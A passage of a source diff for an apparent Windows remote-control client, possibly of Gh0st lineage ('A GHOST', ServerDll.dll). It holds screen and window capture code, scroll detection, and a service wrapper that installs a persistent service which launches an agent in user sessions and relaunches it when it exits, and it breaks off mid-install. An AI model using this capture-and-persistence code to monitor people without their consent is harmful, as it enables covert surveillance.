m_BmpZoomFirst = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
m_FirstBuffer = scaleBitmap(m_BmpZoomFirst, m_FirstBuffer);
m_bVirtualPaint = vDesk;
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
}
CScreenSpy::~CScreenSpy()
{
if (m_BitmapInfor_Full != NULL) {
delete m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
ReleaseDC(NULL, m_hDeskTopDC);
if (m_hFullMemDC!=NULL) {
DeleteDC(m_hFullMemDC);
::DeleteObject(m_BitmapHandle);
if (m_BitmapData_Full!=NULL) {
m_BitmapData_Full = NULL;
}
m_hFullMemDC = NULL;
}
if (m_hDiffMemDC!=NULL) {
DeleteDC(m_hDiffMemDC);
::DeleteObject(m_DiffBitmapHandle);
if (m_DiffBitmapData_Full!=NULL) {
m_DiffBitmapData_Full = NULL;
}
}
if (m_RectBuffer) {
delete[] m_RectBuffer;
m_RectBuffer = NULL;
}
}
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
}
*ulFirstScreenLength = m_BitmapInfor_Send->bmiHeader.biSizeImage;
return m_RectBuffer; //内存
}
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
if (m_bVirtualPaint) {
// 先用深色填充背景,避免窗口移动时留下残影
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景
FillRect(hdcDest, &rcFill, hBrush);
DeleteObject(hBrush);
int n = 0;
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
Sleep(50);
}
return;
}
AUTO_TICK(70, "");
#if COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
#else
const ULONG ulJumpLine = 50;
const ULONG ulJumpSleep = ulJumpLine / 10;
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) {
ULONG ulv1 = ulHeight - i;
if (ulv1 > ulJumpLine)
ulToJump = ulJumpLine;
else
ulToJump = ulv1;
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
Sleep(ulJumpSleep);
}
#endif
}

255
client/ScreenSpy.h Normal file
View File

@@ -0,0 +1,255 @@
// ScreenSpy.h: interface for the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
#define AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define COPY_ALL 1 // 拷贝全部屏幕不分块拷贝added by yuanyuanxiang 2019-1-7
#include "CursorInfo.h"
#include "ScreenCapture.h"
#include <dwmapi.h>
#pragma comment(lib, "dwmapi.lib")
class EnumHwndsPrintData
{
public:
EnumHwndsPrintData()
{
memset(this, 0, sizeof(EnumHwndsPrintData));
}
void Create(HDC desktop, int _x, int _y, int w, int h)
{
x = _x;
y = _y;
width = GetSystemMetrics(SM_CXVIRTUALSCREEN);
height = GetSystemMetrics(SM_CYVIRTUALSCREEN);
hDcWindow = CreateCompatibleDC(desktop);
hBmpWindow = CreateCompatibleBitmap(desktop, width, height);
}
EnumHwndsPrintData& SetScreenDC(HDC dc)
{
hDcScreen = dc;
return *this;
}
~EnumHwndsPrintData()
{
if (hDcWindow) DeleteDC(hDcWindow);
hDcWindow = nullptr;
if (hBmpWindow)DeleteObject(hBmpWindow);
hBmpWindow = nullptr;
}
HDC GetWindowDC() const
{
return hDcWindow;
}
HDC GetScreenDC() const
{
return hDcScreen;
}
HBITMAP GetWindowBmp() const
{
return hBmpWindow;
}
int X() const
{
return x;
}
int Y() const
{
return y;
}
int Width()const
{
return width;
}
int Height()const
{
return height;
}
private:
HDC hDcWindow;
HDC hDcScreen;
HBITMAP hBmpWindow;
int x;
int y;
int width;
int height;
};
class CScreenSpy : public ScreenCapture
{
protected:
HDC m_hDeskTopDC; // 屏幕上下文
HDC m_hFullMemDC; // 上一个上下文
HDC m_hDiffMemDC; // 差异上下文
HBITMAP m_BitmapHandle; // 上一帧位图
HBITMAP m_DiffBitmapHandle; // 差异帧位图
PVOID m_BitmapData_Full; // 当前位图数据
PVOID m_DiffBitmapData_Full; // 差异位图数据
BOOL m_bVirtualPaint;// 是否虚拟绘制
EnumHwndsPrintData m_data;
public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
virtual ~CScreenSpy();
int GetWidth()const
{
return m_ulFullWidth;
}
int GetHeight() const
{
return m_ulFullHeight;
}
bool IsZoomed() const
{
return m_bZoomed;
}
double GetWZoom() const
{
return m_wZoom;
}
double GetHZoom() const
{
return m_hZoom;
}
const LPBITMAPINFO& GetBIData() const
{
return m_BitmapInfor_Send;
}
ULONG GetFirstScreenLength() const
{
return m_BitmapInfor_Send->bmiHeader.biSizeImage;
}
static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
{
if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
return TRUE;
RECT rect;
if (!GetWindowRect(hWnd, &rect))
return FALSE;
// 检查是否为菜单窗口
char className[32] = {};
GetClassNameA(hWnd, className, sizeof(className));
BOOL isMenu = (strcmp(className, "#32768") == 0);
// 获取不含 DWM 阴影的真实窗口边界Windows 10 窗口有透明阴影导致黑边)
// 菜单窗口不使用 DWM 裁剪
RECT frameRect = rect;
BOOL hasDwmFrame = FALSE;
if (!isMenu) {
hasDwmFrame = SUCCEEDED(DwmGetWindowAttribute(hWnd, DWMWA_EXTENDED_FRAME_BOUNDS,
&frameRect, sizeof(frameRect)));
}
HDC hDcWindow = data->GetWindowDC();
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
// 对于某些现代应用WinUI 3 等),需要先请求重绘
RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW);
BOOL captured = PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT);
if (!captured) {
// PrintWindow 失败,尝试不带 PW_RENDERFULLCONTENT
captured = PrintWindow(hWnd, hDcWindow, 0);
}
if (!captured) {
// 仍然失败,尝试 WM_PRINT
captured = SendMessageTimeout(hWnd, WM_PRINT, (WPARAM)hDcWindow,
PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL) != 0;
}
if (!captured) {
char title[128] = {};
GetWindowTextA(hWnd, title, sizeof(title));
Mprintf("PrintWindow failed: %s [%s]\n", className, title);
}
if (captured) {
if (hasDwmFrame) {
// 使用真实边界(不含阴影),从 PrintWindow 输出的正确偏移位置复制
int shadowLeft = frameRect.left - rect.left;
int shadowTop = frameRect.top - rect.top;
int realWidth = frameRect.right - frameRect.left;
int realHeight = frameRect.bottom - frameRect.top;
BitBlt(data->GetScreenDC(), frameRect.left - data->X(), frameRect.top - data->Y(),
realWidth, realHeight, hDcWindow, shadowLeft, shadowTop, SRCCOPY);
} else {
// 菜单和其他窗口使用原始方式
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
}
}
// 即使捕获失败也返回 TRUE避免阻止其他窗口的绘制
SelectObject(hDcWindow, hOldBmp);
return TRUE;
}
static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
{
HWND currentWindow = GetTopWindow(owner);
if (currentWindow == NULL)
return -1;
if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
return -2;
while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
return 0;
}
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
{
AUTO_TICK_C(100, "");
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
char text[_MAX_PATH] = {};
GetWindowText(hWnd, text, sizeof(text));
Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
}
static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
static BOOL result = GetVersionExA(&versionInfo);
if (versionInfo.dwMajorVersion < 6) {
DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
}
return TRUE;
}
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
virtual LPBYTE ScanNextScreen()
{
ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_DiffBitmapData_Full);
return (LPBYTE)bmp;
}
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
// 重置桌面 DC桌面切换时调用
void ResetDesktopDC()
{
ReleaseDC(NULL, m_hDeskTopDC);
m_hDeskTopDC = GetDC(NULL);
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
}
};
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)

149
client/Script.rc Normal file
View File

@@ -0,0 +1,149 @@
// Microsoft Visual C++ generated resource script.
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// 中文(简体,中国) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
#pragma code_page(936)
/////////////////////////////////////////////////////////////////////////////
//
// Dialog
//
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示"
FONT 10, "System", 0, 0, 0x0
BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END
/////////////////////////////////////////////////////////////////////////////
//
// DESIGNINFO
//
#ifdef APSTUDIO_INVOKED
GUIDELINES DESIGNINFO
BEGIN
IDD_DIALOG, DIALOG
BEGIN
END
END
#endif // APSTUDIO_INVOKED
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE
BEGIN
"#include ""afxres.h""\r\n"
"\0"
END
3 TEXTINCLUDE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// WAVE
//
IDR_WAVE WAVE "Res\\msg.wav"
/////////////////////////////////////////////////////////////////////////////
//
// Version
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,1
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
FILEFLAGS 0x1L
#else
FILEFLAGS 0x0L
#endif
FILEOS 0x40004L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "080404b0"
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.1"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"
VALUE "ProductName", "A GHOST"
VALUE "ProductVersion", "1.0.0.1"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x804, 1200
END
END
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON_MAIN ICON "Res\\ghost.ico"
IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // 中文(简体,中国) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

213
client/ScrollDetector.h Normal file
View File

@@ -0,0 +1,213 @@
// ScrollDetector.h: Scroll detection for screen capture optimization
//
//////////////////////////////////////////////////////////////////////
#ifndef SCROLL_DETECTOR_H
#define SCROLL_DETECTOR_H
#include <cstdint>
#include <cstring>
#include <algorithm>
#include "../common/commands.h"
// Scroll detection parameters
#define MIN_SCROLL_LINES 16 // Minimum scroll lines to detect (increased to reduce noise)
#define MAX_SCROLL_RATIO 4 // Maximum scroll = height / MAX_SCROLL_RATIO
#define MATCH_THRESHOLD 85 // Percentage of rows that must match (increased for stability)
// Horizontal scroll direction constants (for future use)
#define SCROLL_DIR_LEFT 2
#define SCROLL_DIR_RIGHT 3
// CRC32 lookup table for row hashing
static uint32_t crc32_table[256] = { 0 };
static bool crc32_table_initialized = false;
inline void InitCRC32Table()
{
if (crc32_table_initialized) return;
for (uint32_t i = 0; i < 256; i++) {
uint32_t crc = i;
for (int j = 0; j < 8; j++) {
crc = (crc >> 1) ^ ((crc & 1) ? 0xEDB88320 : 0);
}
crc32_table[i] = crc;
}
crc32_table_initialized = true;
}
inline uint32_t ComputeCRC32(const uint8_t* data, size_t length)
{
uint32_t crc = 0xFFFFFFFF;
for (size_t i = 0; i < length; i++) {
crc = (crc >> 8) ^ crc32_table[(crc ^ data[i]) & 0xFF];
}
return crc ^ 0xFFFFFFFF;
}
class CScrollDetector
{
private:
uint32_t* m_prevRowHashes; // Hash for each row of previous frame
uint32_t* m_currRowHashes; // Hash for each row of current frame
int m_width; // Frame width in pixels
int m_height; // Frame height in pixels
int m_bytesPerPixel; // Bytes per pixel (typically 4 for BGRA)
int m_stride; // Bytes per row
int m_lastScrollAmount; // Last detected scroll amount
public:
CScrollDetector(int width, int height, int bpp = 4)
: m_width(width), m_height(height), m_bytesPerPixel(bpp)
{
InitCRC32Table();
m_stride = width * bpp;
m_prevRowHashes = new uint32_t[height];
m_currRowHashes = new uint32_t[height];
m_lastScrollAmount = 0;
memset(m_prevRowHashes, 0, height * sizeof(uint32_t));
memset(m_currRowHashes, 0, height * sizeof(uint32_t));
}
~CScrollDetector()
{
if (m_prevRowHashes) {
delete[] m_prevRowHashes;
m_prevRowHashes = nullptr;
}
if (m_currRowHashes) {
delete[] m_currRowHashes;
m_currRowHashes = nullptr;
}
}
// Compute hash for each row of a frame
void ComputeRowHashes(const uint8_t* frame, uint32_t* hashes)
{
for (int row = 0; row < m_height; row++) {
hashes[row] = ComputeCRC32(frame + row * m_stride, m_stride);
}
}
// Detect vertical scroll between previous and current frame
// Returns scroll amount in pixels (positive = scroll down, negative = scroll up)
// Returns 0 if no scroll detected
int DetectVerticalScroll(const uint8_t* prevFrame, const uint8_t* currFrame)
{
// Compute hashes for current frame
ComputeRowHashes(currFrame, m_currRowHashes);
int maxScroll = m_height / MAX_SCROLL_RATIO;
int bestScrollAmount = 0;
int bestMatchCount = 0;
// Try different scroll amounts
for (int scrollAmount = MIN_SCROLL_LINES; scrollAmount <= maxScroll; scrollAmount++) {
// Check scroll down (content moves up, new content at bottom)
int matchCount = CountMatchingRows(scrollAmount);
if (matchCount > bestMatchCount) {
bestMatchCount = matchCount;
bestScrollAmount = scrollAmount;
}
// Check scroll up (content moves down, new content at top)
matchCount = CountMatchingRows(-scrollAmount);
if (matchCount > bestMatchCount) {
bestMatchCount = matchCount;
bestScrollAmount = -scrollAmount;
}
}
// Check if match quality is good enough
int comparedRows = m_height - abs(bestScrollAmount);
int threshold = (comparedRows * MATCH_THRESHOLD) / 100;
if (bestMatchCount >= threshold && bestMatchCount >= MIN_SCROLL_LINES) {
m_lastScrollAmount = bestScrollAmount;
// Swap hash buffers for next frame
std::swap(m_prevRowHashes, m_currRowHashes);
return bestScrollAmount;
}
// No scroll detected, update previous hashes
std::swap(m_prevRowHashes, m_currRowHashes);
m_lastScrollAmount = 0;
return 0;
}
// Update previous frame hashes (call after sending diff frame)
void UpdatePrevHashes(const uint8_t* frame)
{
ComputeRowHashes(frame, m_prevRowHashes);
}
// Get edge region info for scroll frame
// BMP is bottom-up: row 0 = screen bottom, row height-1 = screen top
// scrollAmount > 0: scroll down (content moves up), new content at screen bottom = BMP row 0
// scrollAmount < 0: scroll up (content moves down), new content at screen top = BMP high rows
void GetEdgeRegion(int scrollAmount, int* outOffset, int* outPixelCount) const
{
if (scrollAmount > 0) {
// Scroll down: new content at screen bottom = BMP row 0 (low address)
*outOffset = 0;
*outPixelCount = scrollAmount * m_width;
} else {
// Scroll up: new content at screen top = BMP high rows
*outOffset = (m_height + scrollAmount) * m_stride;
*outPixelCount = (-scrollAmount) * m_width;
}
}
int GetLastScrollAmount() const
{
return m_lastScrollAmount;
}
int GetWidth() const
{
return m_width;
}
int GetHeight() const
{
return m_height;
}
int GetStride() const
{
return m_stride;
}
private:
// Count matching rows for a given scroll amount
// BMP is bottom-up: row 0 = screen bottom, row height-1 = screen top
// scrollAmount > 0: scroll down (content moves up in screen)
// - In BMP: new content at row 0, old content shifted to higher rows
// - curr[scrollAmount + i] should match prev[i]
// scrollAmount < 0: scroll up (content moves down in screen)
// - In BMP: new content at high rows, old content shifted to lower rows
// - curr[i] should match prev[i + absScroll]
int CountMatchingRows(int scrollAmount) const
{
int matchCount = 0;
int absScroll = abs(scrollAmount);
if (scrollAmount > 0) {
// Scroll down: curr[scrollAmount..height-1] should match prev[0..height-scrollAmount-1]
for (int i = 0; i < m_height - absScroll; i++) {
if (m_currRowHashes[i + absScroll] == m_prevRowHashes[i]) {
matchCount++;
}
}
} else {
// Scroll up: curr[0..height-scrollAmount-1] should match prev[scrollAmount..height-1]
for (int i = 0; i < m_height - absScroll; i++) {
if (m_currRowHashes[i] == m_prevRowHashes[i + absScroll]) {
matchCount++;
}
}
}
return matchCount;
}
};
#endif // SCROLL_DETECTOR_H

652
client/ServiceWrapper.c Normal file
View File

@@ -0,0 +1,652 @@
#include "ServiceWrapper.h"
#include "SessionMonitor.h"
#include <stdio.h>
#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
// 静态变量
static MyService g_MyService =
{ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality."};
static SERVICE_STATUS g_ServiceStatus = { 0 };
static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
static HANDLE g_StopEvent = NULL;
static ServiceLogFunc Log = NULL;
// 前向声明
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
void MyLog(const char* file, int line, const char* format, ...)
{
if (Log == NULL) {
return; // 没有设置日志回调,直接返回
}
char buffer[1024];
char message[1200];
// 处理可变参数
va_list args;
va_start(args, format);
vsnprintf(buffer, sizeof(buffer), format, args);
va_end(args);
// 提取文件名(去掉路径)
const char* filename = strrchr(file, '/');
if (filename == NULL) {
filename = strrchr(file, '\\');
}
filename = (filename != NULL) ? (filename + 1) : file;
// 格式化完整的日志消息:[文件名:行号] 消息内容
snprintf(message, sizeof(message), "[%s:%d] %s", filename, line, buffer);
// 调用日志回调函数
Log(message);
}
void InitWindowsService(MyService info, ServiceLogFunc log)
{
memcpy(&g_MyService, &info, sizeof(MyService));
Log = log;
}
BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize)
{
SC_HANDLE hSCM = NULL;
SC_HANDLE hService = NULL;
BOOL result = FALSE;
SERVICE_STATUS_PROCESS ssp;
DWORD bytesNeeded = 0;
DWORD bufSize = 0;
LPQUERY_SERVICE_CONFIGA pConfig = NULL;
*registered = FALSE;
*running = FALSE;
if (exePath && exePathSize > 0) {
exePath[0] = '\0';
}
// 打开 SCM
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return FALSE;
}
// 打开服务
hService = OpenServiceA(
hSCM,
g_MyService.Name,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
if (!hService) {
CloseServiceHandle(hSCM);
return TRUE; // 未注册
}
*registered = TRUE;
result = TRUE;
// 获取服务状态
memset(&ssp, 0, sizeof(ssp));
if (QueryServiceStatusEx(
hService,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&bytesNeeded)) {
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
}
// 获取 EXE 路径
if (exePath && exePathSize > 0) {
QueryServiceConfigA(hService, NULL, 0, &bufSize);
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
pConfig = (LPQUERY_SERVICE_CONFIGA)malloc(bufSize);
if (pConfig) {
if (QueryServiceConfigA(hService, pConfig, bufSize, &bufSize)) {
strncpy(exePath, pConfig->lpBinaryPathName, exePathSize - 1);
exePath[exePathSize - 1] = '\0';
}
free(pConfig);
}
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return result;
}
int ServiceWrapper_StartSimple(void)
{
SC_HANDLE hSCM = NULL;
SC_HANDLE hService = NULL;
BOOL ok;
int err;
// 打开SCM
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return (int)GetLastError();
}
// 打开服务并启动
hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_START);
if (!hService) {
err = (int)GetLastError();
CloseServiceHandle(hSCM);
return err;
}
// 启动服务
ok = StartServiceA(hService, 0, NULL);
err = ok ? ERROR_SUCCESS : (int)GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return err;
}
int ServiceWrapper_Run(void)
{
DWORD err;
char buffer[256];
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = (LPSTR)g_MyService.Name;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
Mprintf("========================================");
Mprintf("ServiceWrapper_Run() called");
if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) {
err = GetLastError();
sprintf(buffer, "StartServiceCtrlDispatcher failed: %d", (int)err);
Mprintf(buffer);
return (int)err;
}
return ERROR_SUCCESS;
}
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
HANDLE hThread;
(void)argc;
(void)argv;
Mprintf("ServiceMain() called");
g_StatusHandle = RegisterServiceCtrlHandler(
g_MyService.Name,
ServiceCtrlHandler
);
if (g_StatusHandle == NULL) {
Mprintf("RegisterServiceCtrlHandler failed");
return;
}
ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (g_StopEvent == NULL) {
Mprintf("CreateEvent failed");
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = GetLastError();
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
return;
}
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
Mprintf("Service is now running");
hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
SAFE_CLOSE_HANDLE(hThread);
}
SAFE_CLOSE_HANDLE(g_StopEvent);
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 3;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
Mprintf("Service stopped");
}
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
switch (ctrlCode) {
case SERVICE_CONTROL_STOP:
Mprintf("SERVICE_CONTROL_STOP received");
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
break;
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 4;
g_ServiceStatus.dwWaitHint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
SetEvent(g_StopEvent);
break;
case SERVICE_CONTROL_INTERROGATE:
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
break;
default:
break;
}
}
// 服务工作线程
DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
{
SessionMonitor monitor;
int heartbeatCount = 0;
char buf[128];
(void)lpParam; // 未使用参数
Mprintf("========================================");
Mprintf("Worker thread started");
Mprintf("Service will launch agent in user sessions");
// 初始化会话监控器
SessionMonitor_Init(&monitor);
if (!SessionMonitor_Start(&monitor)) {
Mprintf("ERROR: Failed to start session monitor");
SessionMonitor_Cleanup(&monitor);
return ERROR_SERVICE_SPECIFIC_ERROR;
}
Mprintf("Session monitor started successfully");
Mprintf("Agent will be launched automatically");
// 主循环,只等待停止信号
// SessionMonitor 会在后台自动:
// 1. 监控会话
// 2. 在用户会话中启动 agent.exe
// 3. 监视代理进程,如果退出自动重启
while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) {
heartbeatCount++;
if (heartbeatCount % 6 == 0) { // 每60秒记录一次
sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount / 6);
Mprintf(buf);
}
}
Mprintf("Stop signal received");
Mprintf("Stopping session monitor...");
SessionMonitor_Stop(&monitor);
SessionMonitor_Cleanup(&monitor);
Mprintf("Worker thread exiting");
Mprintf("========================================");
return ERROR_SUCCESS;
}
int ServiceWrapper_Stop(void)
{
// 打开SCM
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return (int)GetLastError();
}
// 打开服务
SC_HANDLE hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hService) {
int err = (int)GetLastError();
CloseServiceHandle(hSCM);
return err;
}
// 查询当前状态
SERVICE_STATUS status;
if (!QueryServiceStatus(hService, &status)) {
int err = (int)GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return err;
}
// 如果服务未运行,直接返回成功
if (status.dwCurrentState == SERVICE_STOPPED) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return ERROR_SUCCESS;
}
// 发送停止控制命令
if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_NOT_ACTIVE) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return (int)err;
}
}
// 等待服务停止最多3秒
int waitCount = 0;
while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 3) {
Sleep(1000);
waitCount++;
if (!QueryServiceStatus(hService, &status)) {
break;
}
}
int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT;
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return result;
}
BOOL ServiceWrapper_Install(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char szPath[MAX_PATH];
SERVICE_DESCRIPTION sd;
SERVICE_STATUS status;
DWORD err;
schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
Mprintf("Please run as Administrator\n");
return FALSE;
}
if (!GetModuleFileName(NULL, szPath, MAX_PATH)) {
Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError());
CloseServiceHandle(schSCManager);
return FALSE;
}
Mprintf("Installing service...\n");
Mprintf("Executable path: %s\n", szPath);
int retryCount = 5;
for (int i = 0; i < retryCount; i++) {
schService = CreateService(
schSCManager,
g_MyService.Name,
g_MyService.Display,
SERVICE_ALL_ACCESS,
